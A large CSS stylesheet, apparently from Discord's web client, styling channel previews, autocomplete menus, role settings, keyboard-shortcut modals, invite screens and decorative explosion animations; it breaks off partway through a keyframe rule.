.mainChannelInfo-1vd795 .titleGroup-1ZtXoq { max-width: 100%; }

.mainChannelInfo-1vd795 .icon-16X0RM { margin: 16px 0px; }

.mainChannelInfo-1vd795 .subtitle-1rNV3n, .mainChannelInfo-1vd795 .title-8sgFLx { text-align: center; }

.mainChannelInfo-1vd795 .title-8sgFLx { margin-bottom: 2px; color: var(--header-primary); min-width: 0px; flex-shrink: 1; overflow-wrap: break-word; }

.mainChannelInfo-1vd795 .subtitle-1rNV3n { margin-bottom: 24px; color: var(--header-secondary); }

.previewChannelHeader-1TL6h2 { position: absolute; top: 16px; left: 0px; padding-left: 16px; box-sizing: border-box; display: flex; -webkit-box-align: center; align-items: center; max-width: 100%; }

.previewChannelHeader-1TL6h2 .titleGroup-1ZtXoq { flex-shrink: 1; min-width: 0px; }

.previewChannelHeader-1TL6h2 .icon-16X0RM { margin-right: 16px; }

.previewChannelHeader-1TL6h2 .subtitle-1rNV3n, .previewChannelHeader-1TL6h2 .title-8sgFLx { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--header-primary); }

.wrapper-3lJCnD { z-index: 10; pointer-events: all; }

.title-8sgFLx { font-weight: 600; }

.actions-19uIvN { display: flex; }

.actionButton-3CLkPB { margin-right: 16px; line-height: 0; }

.actionButton-3CLkPB.last-3WKR_s { margin-right: 0px; }

.previewButton-1vdHBp { margin-top: 16px; }

.guildInfo-1te-D- { margin-top: -12px; padding-bottom: 24px; border-bottom: 1px solid var(--background-modifier-accent); }

.guildInfo-1te-D-, .notice-2B1DV0 { margin-bottom: 24px; display: flex; -webkit-box-align: center; align-items: center; }

.notice-2B1DV0 { background-color: var(--background-secondary); padding: 8px; border-radius: 4px; }

.nitroWheel-_-_RWF { width: 16px; height: 16px; margin-right: 4px; margin-left: 2px; vertical-align: sub; }

.upsellContainer-1gcgpY { margin: 24px 0px; padding: 16px; background-color: var(--background-secondary); border-radius: 4px; }

.upsellButton-1359NJ { margin-top: 8px; }

.upsellButtonInner-3tht2r { display: flex; -webkit-box-align: center; align-items: center; }

.premiumIconButton-1dMSWs { margin-right: 4px; width: 16px; height: 16px; }

.guildIconInline-3qFC08 { display: inline-block; margin-right: 8px; }

.warningCircleIcon-2TQMu- { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); margin-right: 6px; height: 14px; width: 14px; }

.title-1gncU6 { display: flex; -webkit-box-align: center; align-items: center; }

.container-VSDcQc { border-radius: 5px; width: 250px; overflow: hidden; }

.container-VSDcQc .sectionTag-pXyto9 { padding: 0px; }

.container-VSDcQc .sectionTag-pXyto9::before { display: none; }

.container-VSDcQc .headerText-3i6A8K { color: var(--header-secondary); font-size: 14px; text-transform: uppercase; font-weight: 700; padding: 0px; margin-right: 5px; }

.container-VSDcQc .input-1ppKdn { font-size: 16px; font-weight: 500; border: none; background: none; padding: 0px; -webkit-box-flex: 1; flex: 1 1 0%; margin-bottom: 1px; }

.container-VSDcQc .header-2bNvm4 { background-color: transparent; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; height: 54px; padding: 0px 20px; position: relative; }

.container-VSDcQc .header-2bNvm4::before { display: none; }

.autocompleteShadow-iiGWFU { position: absolute; inset: 0px; border-radius: 5px; overflow: hidden; }

.autocompleteArrowWrapper-3Z7OuM { position: absolute; margin-left: -8px; overflow: hidden; width: 16px; height: 12px; transform: rotate(180deg); left: 50%; }

.autocompleteArrow-Zxoy9H { width: 8px; height: 8px; transform: rotate(45deg); }

.autocompleteHeaderBackground-30T70q { position: absolute; inset: 0px; border-radius: 5px 5px 0px 0px; overflow: hidden; z-index: -1; }

.autocompleteScroller-iInVqR { height: 280px; padding: 8px 0px; }

.empty-3hoe1g, .section-sfKw6q { padding: 0px 20px; line-height: 44px; }

.empty-3hoe1g:last-of-type, .section-sfKw6q:last-of-type { border-radius: 0px 0px 3px 3px; }

.section-sfKw6q { text-transform: uppercase; font-size: 11px; font-weight: 700; }

.row-rrHHJU { color: var(--interactive-normal); cursor: pointer; font-size: 16px; font-weight: 500; padding: 0px 0px 0px 8px; }

.row-rrHHJU:focus .rowInner-1vvRiF, .row-rrHHJU:hover .rowInner-1vvRiF { background-color: var(--background-modifier-hover); color: var(--interactive-hover); }

.row-rrHHJU.selected-1pIgLL .rowInner-1vvRiF { background-color: var(--background-modifier-selected); color: var(--interactive-active); }

.rowInner-1vvRiF { border-radius: 4px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding: 12px; }

.empty-3hoe1g .noResultsHeader-pqW4H- { font-size: 16px; font-weight: 700; text-align: center; margin: 15px 0px 0px; }

.empty-3hoe1g p { font-size: 16px; text-align: center; margin: -20px 0px 18px; }

.positionBottom-3oo9L9 .autocompleteArrowWrapper-3Z7OuM { top: 0px; transform-origin: center top; }

.positionBottom-3oo9L9 .autocompleteArrow-Zxoy9H { position: absolute; top: -4px; left: 4px; }

.positionTop-3e-X1p .autocompleteArrowWrapper-3Z7OuM { bottom: 0px; transform-origin: center bottom; }

.positionTop-3e-X1p .autocompleteArrow-Zxoy9H { position: absolute; bottom: -4px; left: 4px; }

.positionTop-3e-X1p .autocompleteHeaderBackground-30T70q { border-radius: 0px 0px 5px 5px; }

.positionTop-3e-X1p .sectionTag-pXyto9 { border-radius: 5px 5px 0px 0px; overflow: hidden; }

.theme-dark .container-VSDcQc .input-1ppKdn { color: rgb(246, 246, 247); }

.theme-dark .container-VSDcQc .input-1ppKdn::-webkit-input-placeholder { color: rgb(114, 118, 125); }

.theme-dark .container-VSDcQc .input-1ppKdn::placeholder { color: rgb(114, 118, 125); }

.theme-dark .container-VSDcQc .sectionTag-pXyto9 { background-color: rgb(47, 49, 54); color: rgb(114, 118, 125); }

.theme-dark .autocompleteArrow-Zxoy9H, .theme-dark .autocompleteShadow-iiGWFU { box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px, rgba(32, 34, 37, 0.6) 0px 0px 0px 1px; }

.theme-dark .autocompleteArrow-Zxoy9H, .theme-dark .header-2bNvm4 { background-color: rgb(32, 34, 37); }

.theme-dark .empty-3hoe1g .noResultsHeader-pqW4H- { color: rgb(185, 187, 190); }

.theme-dark .empty-3hoe1g p { color: rgb(114, 118, 125); }

.theme-light .container-VSDcQc .input-1ppKdn { color: rgb(79, 84, 92); }

.theme-light .container-VSDcQc .input-1ppKdn::-webkit-input-placeholder { color: rgb(185, 187, 190); }

.theme-light .container-VSDcQc .input-1ppKdn::placeholder { color: rgb(185, 187, 190); }

.theme-light .container-VSDcQc .sectionTag-pXyto9 { background-color: rgb(255, 255, 255); color: rgb(114, 118, 125); }

.theme-light .autocompleteArrow-Zxoy9H, .theme-light .autocompleteShadow-iiGWFU { box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px, rgba(185, 187, 190, 0.3) 0px 0px 0px 1px; }

.theme-light .autocompleteArrow-Zxoy9H, .theme-light .header-2bNvm4 { background-color: rgb(246, 246, 247); }

.theme-light .empty-3hoe1g .noResultsHeader-pqW4H- { color: rgb(114, 118, 125); }

.theme-light .empty-3hoe1g p { color: rgb(185, 187, 190); }

.iconButton-3V4WS5 { position: relative; cursor: pointer; background-size: 100%; background-color: transparent; }

.iconButton-3V4WS5:disabled { pointer-events: none; }

.iconButtonDefault-2cKx7- { opacity: 0.6; }

.iconButtonDefault-2cKx7-:hover { opacity: 1; }

.iconButtonDefault-2cKx7-:disabled { opacity: 0.3; }

.iconButtonStatic-2cPMA6 { opacity: 1; }

.iconButtonStatic-2cPMA6:disabled { opacity: 0.6; }

.large-35qh5U { width: 36px; height: 36px; }

.medium-2JR8YY { width: 24px; height: 24px; }

.small--aHOfS { width: 18px; height: 18px; }

.xsmall-2ObGoR { width: 12px; height: 12px; }

.role-3wi9Tf { height: 32px; margin-top: 0px; margin-bottom: 0px !important; }

.role-3wi9Tf:focus-within .roleOverflow-1zjC9k, .role-3wi9Tf:hover .roleOverflow-1zjC9k { visibility: visible; }

.roleInner-1C_Scc { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.roleOverflow-1zjC9k { width: 20px; height: 20px; flex-shrink: 0; margin-left: 8px; color: var(--interactive-normal); visibility: hidden; cursor: pointer; }

.roleOverflow-1zjC9k.open-1HQpYy { visibility: visible; }

.lock-2Nag5p { position: relative; top: -1px; margin-right: 4px; width: 18px; height: 18px; }

.dragged-2XvZ89 { height: 32px; background-size: 100% 100%; }

.theme-light .dragged-2XvZ89 { background-image: url("https://discord.com/assets/5c04f20482acf883864fb4b8ebe4c21d.svg"); }

.theme-dark .dragged-2XvZ89 { background-image: url("https://discord.com/assets/821af47396cd9ac94ff55bfb5f5d94c3.svg"); }

.container-SDBvD6 { min-height: 100vh; position: relative; }

.sidebarHeader-2uiNOo { opacity: 0.9; transition: opacity 0.2s ease 0s; }

.sidebarHeader-2uiNOo:hover, .sidebarHeader-2uiNOo:hover .addRoleIcon-1LaDEA { opacity: 1; }

.layoutStyle-2tuE18 { position: relative; padding: 24px 15px 80px 0px; color: var(--text-normal); }

.xsmallAvatar-3MTKjd { width: 20px !important; height: 20px !important; }

.sidebarHeaderDefault-euM02r { cursor: pointer; }

.sidebarHeaderLocked-3vDCdm { cursor: default; }

.addRoleIcon-1LaDEA { opacity: 0.8; transition: opacity 0.2s ease 0s; }

.username-1pvYDh { margin-left: 8px; }

.description-3wo_Uh { }

.button-_5Uniy { margin: 0px auto; }

.userRowAvatar-r-Cc5p { margin-right: 16px; }

.userRowSubText-3Yc7dk { display: flex; -webkit-box-align: center; align-items: center; margin-top: 2px; }

.userRowSubAvatar-1ajcVi { margin-right: 4px; }

.advancedModeDivider-GJCGg1 { margin: 40px 0px 31px; }

.advancedTitle-1CFkcU { cursor: pointer; }

.titleCaret-3b138P { vertical-align: bottom; margin-left: 14px; }

.cardContent-qqqwo8 { padding: 16px; }

.cardTitle-3TvHmZ { font-weight: 600; }

.cardDescription-1YvO0X { padding-top: 8px; padding-left: 4px; }

.card-4s8auQ { background: var(--background-secondary); border: none; border-radius: 8px; padding: 16px; margin-top: 16px; }

.label-1M1EWS { margin: 0px 10px; -webkit-box-flex: 1; flex: 1 1 0%; }

.easyModeContainer-27mxag { padding: 0px; }

.settingCard-3w2mVL { margin-top: 16px; background: var(--background-secondary); border-radius: 8px; }

.settingCard-3w2mVL.active-1ytUzX { background: var(--background-secondary-alt); }

.cardIcon-3mLabf { color: var(--text-normal); }

.cardFolder-28dwxo { background: var(--background-secondary); border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; }

.adminWarning-3Ie8tf, .folderHeader-3eAh2M { padding: 16px; }

.folderTitle-1J5dgw { margin: 0px; color: var(--text-normal); }

.sectionTitle-3RJoUp { padding-bottom: 16px; }

.roleMemberList-3aPmJW { max-height: 400px; padding: 0px 16px 8px; }

.divider-1O4dNT { padding-bottom: 16px; }

.memberRow-1LB6aT { padding: 0px 4px 16px; }

.rowHeight-3zP7dP { height: 24px; }

.rowLabel-30ico_ { margin-left: 8px; }

.rowBotTag-2BdvS8 { margin-left: 4px; }

.rowLabelSubText-2yGOLI { margin-left: 4px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 250px; }

.removeIconContainer-1paNBn { margin-left: 8px; }

.removeIcon-2httxG { width: 16px; height: 16px; color: var(--interactive-normal); cursor: pointer; }

.disabledRemoveIcon-32MyIO { color: var(--interactive-muted); cursor: auto; }

.bannerUpsellContainer-1R5Ec2 { display: flex; -webkit-box-align: center; align-items: center; border-radius: 4px; margin-bottom: 32px; background-color: var(--background-secondary); }

.premiumGuildIcon-3c6lhh { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); margin: 12px 10px 12px 12px; }

.inlineCta-hhcbgT { flex-shrink: 0; min-width: 0px; padding: 0px 0px 0px 4px; margin-right: 4px; }

.alignRight-354BKE { margin-left: auto; margin-right: 24px; }

.previewContainer-3Do95C { border-radius: 4px; overflow: hidden; background: var(--background-secondary); margin-bottom: 24px; }

.tabs-2JWvaR { padding: 16px; display: flex; }

.tab-xPC_NZ { padding: 2px 8px; font-weight: 500; }

.tabActive-2BPc8u { background: var(--background-accent); border-radius: 4px; color: rgb(255, 255, 255); margin-right: 8px; }

.bannerContainer-fjWV4h { display: flex; }

.half-2JXRw5 { flex-basis: 50%; }

.half-2JXRw5:first-child { margin-right: 20px; }

.bannerTitle-2XB3wv { display: flex; margin-bottom: 8px; }

.avatar-2flDiJ { height: 96px; }

.premiumGuildAvailabilityIndicator-1XIcw- { background-color: var(--background-secondary-alt); padding: 1px 2px; border-radius: 16px; margin-left: 4px; }

.premiumUpsellBadge-3B-G9J { margin-right: 4px; }

.upsellButton-3e2hD_ { display: flex; -webkit-box-align: center; align-items: center; }

.divider-3E-1B9 { margin: 40px 0px; }

.marginBottom16-J9J3Lo { margin-bottom: 16px; }

.category-2ux-7P { margin-left: 4px; font-size: 10px; opacity: 0.6; font-weight: 600; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.channelIcon-3IJ4o7 { position: relative; margin-right: 2px; display: inline; vertical-align: top; top: 2px; }

.background-2EVvmU { opacity: 0.6; }

.channelName-1SzRNb { margin: 0px 0px 8px 8px; }

.username-34pxWC { padding-left: 4px; }

.item-30Gz8g { }

.itemValue-JNy0LV { }

.valueIcon-2LbNu6 { float: left; position: relative; top: -1px; }

.theme-dark .item-30Gz8g { color: rgb(246, 246, 247); }

.theme-dark .itemValue-JNy0LV { color: rgb(185, 187, 190); }

.theme-light .item-30Gz8g { color: rgb(79, 84, 92); }

.theme-light .itemValue-JNy0LV { color: rgb(114, 118, 125); }

.title-3CR76z { font-weight: 600; -webkit-box-flex: 1; flex: 1 1 0%; cursor: default; overflow: hidden; overflow-wrap: break-word; }

.graph-2xSPwT { }

.divider-3kJiJM { }

.videoWrapper-3XDj-F { width: 320px; height: 180px; }

.allowSelection-uK1q4t { user-select: text; }

.channelItem-36SV7x { margin-left: -8px; margin-bottom: 8px; }

.avatar-1eTZ8m { width: 20px !important; height: 20px !important; }

.theme-dark .videoPreview-22khDR { background-color: rgb(47, 49, 54); border: 1px solid rgb(32, 34, 37); }

.theme-light .videoPreview-22khDR { background-color: rgb(246, 246, 247); border: 1px solid rgb(220, 221, 222); }

.layers-3iHuyZ { position: relative; overflow: hidden; }

.layers-3iHuyZ > .layer-3QrUeG { position: absolute; inset: 0px; display: flex; overflow: hidden; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.layers-3iHuyZ > .layer-3QrUeG.animating-rRxada { pointer-events: none; will-change: transform, opacity; }

.layers-3iHuyZ > .layer-3QrUeG.animating-rRxada * { pointer-events: none !important; }

.bg-h5JY_x { background-color: var(--background-tertiary); position: absolute; inset: 0px; }

.platform-win .layer-3QrUeG { top: -22px; padding-top: 22px; }

.platform-win .bg-h5JY_x { top: -22px; }

.stop-animations * { transition-property: none !important; animation: 0s ease 0s 1 normal none running none !important; }

.layer-3QrUeG { background-color: var(--background-primary); }

.layer-3QrUeG.baseLayer-35bLyl { background-color: transparent; }

.firefoxFixScrollFlex-cnI2ix { min-height: 0px; }

.fixClipping-3qAKRb { transform: translateZ(0px); }

.container-16j22k { position: absolute; inset: 0px; background-color: var(--background-secondary); display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; z-index: 3000; overflow: hidden; }

.container-16j22k img, .container-16j22k video { width: 200px; height: 200px; }

.container-16j22k video { visibility: hidden; }

.container-16j22k video.ready-36e6Vk { visibility: visible; }

.platform-win .container-16j22k { padding-top: 22px; top: -22px; }

.content-1-zrf2 { text-align: center; }

.problems-3mgf6w { color: var(--header-primary); padding-bottom: 32px; position: absolute; left: 0px; right: 0px; bottom: 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; transition: transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; transform: translate3d(0px, 100%, 0px); }

.problems-3mgf6w.slideIn-sCvzGz { transform: translateZ(0px); }

.problemsText-1Yx-Kl { font-size: 14px; color: var(--header-secondary); margin-bottom: 8px; }

.links-3Ldd4A { font-weight: 500; font-size: 16px; line-height: 16px; }

.links-3Ldd4A:hover { opacity: 0.8; }

.links-3Ldd4A::before { display: inline-block; content: ""; margin-right: 6px; vertical-align: bottom; }

.statusLink-gFXhrL, .twitterLink-3NsWMp { }

.statusLink-gFXhrL { margin-left: 20px; }

.icon-3N9Bhy { display: inline-block; vertical-align: middle; width: 16px; height: auto; color: var(--text-link); margin-right: 4px; }

.contentBase-11jeVK { color: var(--header-secondary); font-size: 12px; font-weight: 500; text-transform: uppercase; max-width: 600px; line-height: 16px; }

.text-3c9Zq1 { position: relative; top: -20px; }

.tipTitle-GL9qAt { color: var(--header-primary); font-size: 12px; font-weight: 600; text-transform: uppercase; line-height: 16px; margin-bottom: 8px; }

.tip-2cgoli, .tipTitle-GL9qAt { max-width: 300px; }

.tip-2cgoli { color: var(--text-normal); font-size: 16px; line-height: 20px; }

.keybind-2jbzrT { display: inline-flex; margin-right: -2px; margin-bottom: 0px; transform: translateY(-1px); }

.body-2Vra9D, .title-3JMOhC { }

.title-3JMOhC { margin-bottom: 10px; color: var(--header-primary); font-style: italic; font-size: 16px; line-height: 20px; }

.ragingDemon-bDcoXE { position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; color: rgb(255, 255, 255); }

.symbol-3ffeCr { position: absolute; top: 0px; left: 0px; width: 100vw; height: 100vh; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.symbol-3ffeCr img { position: relative; max-height: 60vh; max-width: 80vw; width: 80%; height: auto; object-fit: contain; opacity: 0; animation: 0.3s ease-out 0s 1 normal forwards running symbolFadeIn-wkjQKf; }

.symbolBackground-1w6i-M { position: absolute; top: 0px; left: 0px; width: 100vw; height: 100vh; background-color: rgb(255, 255, 255); opacity: 0; animation: 0.3s ease-out 0s 1 normal none running symbolBgFadeOut-YosnTk; }

.container-2Cu1o9 { position: absolute; transform: translateZ(0px); }

.explosion-379HJd { position: absolute; transform-origin: 50% center; transform: translateZ(0px); }

.explosion-379HJd img { position: absolute; transform-origin: 50% center; }

.animate-2Dk3Iw .circleInner-1vlodX { animation: 0.3s ease-out 0.15s 1 normal forwards running explCircleInner-4eTA27; opacity: 0; }

.animate-2Dk3Iw .circleOuter-2XG8_d { animation: 0.45s ease-out 0s 1 normal forwards running explCircleOuter-20lecN; opacity: 0; }

.animate-2Dk3Iw .linesSecondary-2f45rn { animation: 0.375s ease-out 0.225s 1 normal forwards running explLinesSecondary-1Eag-K; opacity: 0; }

.animate-2Dk3Iw .linesMain-3dQGy0 { animation: 0.3s ease-out 0.15s 1 normal forwards running explLinesMain-1D2qvD; opacity: 0; }

.primaryExplosion-lHCiHZ { width: 178px; height: 175px; margin-left: -77px; margin-top: -102px; }

.primaryExplosion-lHCiHZ .circleInner-1vlodX { top: 69px; left: 43px; }

.primaryExplosion-lHCiHZ .circleOuter-2XG8_d { top: 56px; left: 30px; }

.primaryExplosion-lHCiHZ .linesSecondary-2f45rn { top: 59px; left: 0px; transform-origin: 77px 43px; }

.primaryExplosion-lHCiHZ .linesMain-3dQGy0 { top: 0px; left: 71px; transform-origin: 3px 110px; }

.secondaryExplosion-3nb9j5 { width: 170px; height: 300px; margin-left: -88px; margin-top: -156px; }

.secondaryExplosion-3nb9j5 .circleInner-1vlodX { top: 130px; left: 58px; transform-origin: 30.5px 27.5px; }

.secondaryExplosion-3nb9j5 .circleOuter-2XG8_d { top: 115px; left: 46px; }

.secondaryExplosion-3nb9j5 .linesSecondary-2f45rn { top: 68px; left: 19px; transform-origin: 70px 91px; }

.secondaryExplosion-3nb9j5 .linesMain-3dQGy0 { top: 6px; left: 5px; transform-origin: 87px 150px; }

@-webkit-keyframes symbolFadeIn-wkjQKf { 
  0% { opacity: 0; }
  25% { opacity: 1; }
  100% { opacity: 1; }
}

@keyframes symbolFadeIn-wkjQKf { 
  0% { opacity: 0; }
  25% { opacity: 1; }
  100% { opacity: 1; }
}

@-webkit-keyframes symbolBgFadeOut-YosnTk { 
  0% { opacity: 0; }
  25% { opacity: 1; }
  100% { opacity: 0; }
}

@keyframes symbolBgFadeOut-YosnTk { 
  0% { opacity: 0; }
  25% { opacity: 1; }
  100% { opacity: 0; }
}

@-webkit-keyframes explCircleInner-4eTA27 { 
  0% { transform: scale(0.2) translateZ(0px); opacity: 0; }
  10% { opacity: 1; }
  70% { opacity: 1; }
  100% { transform: scale(0.8) translateZ(0px); opacity: 0; }
}

@keyframes explCircleInner-4eTA27 { 
  0% { transform: scale(0.2) translateZ(0px); opacity: 0; }
  10% { opacity: 1; }
  70% { opacity: 1; }
  100% { transform: scale(0.8) translateZ(0px); opacity: 0; }
}

@-webkit-keyframes explCircleOuter-20lecN { 
  0% { transform: scale(0.2) translateZ(0px); opacity: 0; }
  10% { opacity: 1; }
  70% { opacity: 1; }
  100% { transform: scale(0.9) translateZ(0px); opacity: 0; }
}

@keyframes explCircleOuter-20lecN { 
  0% { transform: scale(0.2) translateZ(0px); opacity: 0; }
  10% { opacity: 1; }
  70% { opacity: 1; }
  100% { transform: scale(0.9) translateZ(0px); opacity: 0; }
}

@-webkit-keyframes explLinesSecondary-1Eag-K { 
  0% { transform: scale(0) translateZ(0px); opacity: 0; }
  20% { opacity: 1; }
  50% { opacity: 1; }
  100% { transform: scale(1) translateZ(0px); opacity: 0; }
}

@keyframes explLinesSecondary-1Eag-K { 
  0% { transform: scale(0) translateZ(0px); opacity: 0; }
  20% { opacity: 1; }
  50% { opacity: 1; }
  100% { transform: scale(1) translateZ(0px); opacity: 0; }
}

@-webkit-keyframes explLinesMain-1D2qvD { 
  0% { transform: scale(0) translateZ(0px); opacity: 0; }
  30% { opacity: 1; }
  50% { opacity: 1; }
  100% { transform: scale(1) translateZ(0px); opacity: 0; }
}

@keyframes explLinesMain-1D2qvD { 
  0% { transform: scale(0) translateZ(0px); opacity: 0; }
  30% { opacity: 1; }
  50% { opacity: 1; }
  100% { transform: scale(1) translateZ(0px); opacity: 0; }
}

.keyboardShortcutsModal-3piNz7 { position: relative; width: 80vw; max-height: 80vh; max-width: 950px; min-width: 800px; border-radius: 4px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.keyboardShortcutsModal-3piNz7, .modalTitle-37O4n6 { display: flex; overflow: hidden; }

.modalTitle-37O4n6 { margin: 0px 0px 5px; padding: 20px 40px 0px; font-size: 26px; line-height: 34px; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 0 0%; }

.modalTitle-37O4n6 .content-2Add9f { margin-right: 20px; }

.modalSubtitle-1Pj5nv { padding: 0px 40px 20px; font-size: 16px; line-height: 20px; -webkit-box-flex: 0; flex: 0 0 0%; }

.ddrArrows-lSnH7P { position: absolute; overflow: hidden; top: 22px; right: 40px; }

.ddrArrows-lSnH7P .arrow-2enltQ { margin: 4px; width: 50px; height: 50px; float: left; overflow: hidden; text-indent: -9999em; }

.ddrArrows-lSnH7P .arrow-2enltQ.active-2X6Ewx { animation: 0.2s steps(2) 0s 1 normal none running arrow-2enltQ; background-position: 0px -100px; }

.ddrArrows-lSnH7P .arrow-2enltQ.left-21PxOi { background-image: url("https://discord.com/assets/886854759b8affc5dd50cd08e5bd7b99.svg"); }

.ddrArrows-lSnH7P .arrow-2enltQ.down-2Ju7Q_ { background-image: url("https://discord.com/assets/3b2b4a1d2864d8d9a33d6a185de9513e.svg"); }

.ddrArrows-lSnH7P .arrow-2enltQ.up-fkTose { background-image: url("https://discord.com/assets/e6a176845efab368e6ef18c397ef8a92.svg"); }

.ddrArrows-lSnH7P .arrow-2enltQ.right-1AEPK3 { background-image: url("https://discord.com/assets/d3ccfae119087284cef234717b849a54.svg"); }

.keybindGroupDescription-3vhN3p, .keybindGroupDivider-1t_8zX { margin: 8px 0px; }

.keyboardShortcutList-13cQ-8 { padding: 40px 20px 20px; column-count: 3; column-gap: 12px; }

.keyboardShortcutList-13cQ-8 .keybindGroup--6Qp-w { box-sizing: border-box; padding: 0px 20px 8px; overflow: hidden; break-inside: avoid; }

.keyboardShortcutList-13cQ-8 .keybindGroup--6Qp-w.groupEnd-1cdweh { margin-bottom: 40px; }

.keyboardShortcutList-13cQ-8 .keybindGroup--6Qp-w .keybindDescription-2RDbC2 { font-weight: 700; font-size: 12px; line-height: 18px; text-transform: uppercase; margin-bottom: 4px; }

.keyboardShortcutListGroup-1jHSlZ { padding: 8px; margin: 8px 0px; }

.theme-dark .keyboardShortcutsModal-3piNz7 { background-color: rgb(54, 57, 63); }

.theme-dark .modalTitle-37O4n6 { color: rgb(255, 255, 255); }

.theme-dark .modalSubtitle-1Pj5nv { border-bottom: 1px solid rgba(0, 0, 0, 0.1); color: rgb(220, 221, 222); }

.theme-dark .keyboardShortcutList-13cQ-8 .keybindGroup--6Qp-w .keybindDescription-2RDbC2 { color: rgb(185, 187, 190); font-weight: 600; }

.firstGroup-2QOPL9 { margin-top: 0px; padding-top: 0px; }

.theme-light .keyboardShortcutsModal-3piNz7 { background-color: rgb(255, 255, 255); }

.theme-light .modalTitle-37O4n6 { color: rgb(79, 84, 92); }

.theme-light .modalSubtitle-1Pj5nv { border-bottom: 1px solid rgba(0, 0, 0, 0.1); color: rgb(115, 127, 141); }

.theme-light .keyboardShortcutList-13cQ-8 .keybindGroup--6Qp-w .keybindDescription-2RDbC2 { color: rgb(79, 84, 92); }

@-webkit-keyframes arrow-2enltQ { 
  0% { background-position: 0px -50px; }
  100% { background-position: 0px -150px; }
}

@keyframes arrow-2enltQ { 
  0% { background-position: 0px -50px; }
  100% { background-position: 0px -150px; }
}

.container-2Yth53 { position: relative; display: flex; }

@media (max-height: 600px) {
  .container-2Yth53 { margin-top: -20px; }
}

.contentWrapper-3WC1ID { border-radius: 5px 0px 0px 5px; height: 100%; }

.contentWrapper-3WC1ID:only-child { border-radius: 5px; }

@media (max-width: 720px) {
  .contentWrapper-3WC1ID { border-radius: 5px; }
}

.theme-dark .contentWrapper-3WC1ID { background: rgb(54, 57, 63); }

.theme-light .contentWrapper-3WC1ID { background: rgb(246, 246, 247); }

.scroller-3__pG8 { box-sizing: border-box; position: relative; width: 400px; padding: 32px; }

.noThanksButton-3mqg48 { height: 32px; }

.stage-3yqMwJ { background-color: var(--background-secondary); padding: 16px; border-radius: 8px; }

.inviteContent-3R63XV { position: relative; min-height: 380px; text-align: center; }

.inviteSplash-40aHus { width: 520px; background-size: cover; background-position: 100% center; border-radius: 0px 5px 5px 0px; }

@media (max-width: 940px) {
  .inviteSplash-40aHus { width: 300px; }
}

@media (max-width: 720px) {
  .inviteSplash-40aHus { display: none; }
}

.buttonGroup-276hcG { display: flex; }

.buttonGroup-276hcG > * { margin: 4px; }

.experimentUpsellError-1B_dtk { display: flex; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); padding: 8px; margin-bottom: 8px; border-radius: 4px; cursor: pointer; margin-top: -6px; }

.experimentUpsellError-1B_dtk:hover { background-color: var(--background-floating); }

.experimentUpsellIcon-3G0C9_ { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; min-width: 0px; }

.experimentUpsellText-33hEF0 { -webkit-box-flex: 1; flex: 1 1 auto; text-align: left; min-width: 0px; color: var(--text-normal); }

.experimentGetNitro-2umQa7, .experimentUpsellText-33hEF0 { display: block; font-size: 12px; line-height: 16px; }

.experimentGetNitro-2umQa7 { -webkit-box-flex: 0; flex: 0 0 auto; max-width: 106px; margin-left: 12px; color: var(--text-link); padding: 0px 8px; }

.tutorial-3igfYb { position: absolute; top: -70px; left: -60px; right: -60px; opacity: 0; transition: opacity 0.2s ease-in-out 0s; }

.tutorial-3igfYb.shown-3PNP1p { opacity: 1; }

.arrowGroup-2imezz { position: absolute; top: 0px; left: 0px; transform-origin: 0px 0px; }

.arrowGroup-2imezz.right-xllYXb { right: 0px; left: auto; transform: scaleX(-1); }

.arrowContainer-17eG6u { position: absolute; top: 0px; left: 0px; transform-origin: 0px 0px; opacity: 1; transition: transform 0.2s ease-in-out 0s, opacity 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; }

.horizontal-3uU00t { top: 118px; transition: none 0s ease 0s; }

.diag1-2VcglJ { transform: translate3d(10px, 24px, 0px) rotate(40deg); }

.diag2-3iVToU { transform: translate3d(85px, 0px, 0px) rotate(70deg); }

.arrowIcon-1EMN73 { animation: 0.82s ease-in-out 0s infinite normal none running arrow-pulse-2BHQjw; }

.tutorialMessages-12mfId { color: rgb(255, 255, 255); position: relative; top: 10px; text-align: center; font-size: 18px; line-height: 24px; font-weight: 500; padding-top: 30px; height: 60px; overflow: hidden; }

.message-3WE_vQ { position: absolute; width: 100%; transition: opacity 0.15s ease-in-out 0s, transform 0.15s ease-in-out 0s, -webkit-transform 0.15s ease-in-out 0s; }

.searchMessage-2dNwh2 { opacity: 1; transform: translateZ(0px); }

.selectMessage-24T7Qk { opacity: 0; transform: translate3d(0px, 100%, 0px); }

.hasQuery-2sgtk4 .diag1-2VcglJ, .hasQuery-2sgtk4 .diag2-3iVToU { opacity: 0; }

.hasQuery-2sgtk4 .diag1-2VcglJ { transform: translate3d(0px, 12px, 0px) rotate(40deg); }

.hasQuery-2sgtk4 .diag2-3iVToU { transform: translate3d(85px, -10px, 0px) rotate(70deg); }

.hasQuery-2sgtk4 .searchMessage-2dNwh2 { opacity: 0; transform: translate3d(0px, -100%, 0px); }

.hasQuery-2sgtk4 .selectMessage-24T7Qk { opacity: 1; transform: translateZ(0px); }

@-webkit-keyframes arrow-pulse-2BHQjw { 
  0%, 100% { transform: translateZ(0px); }
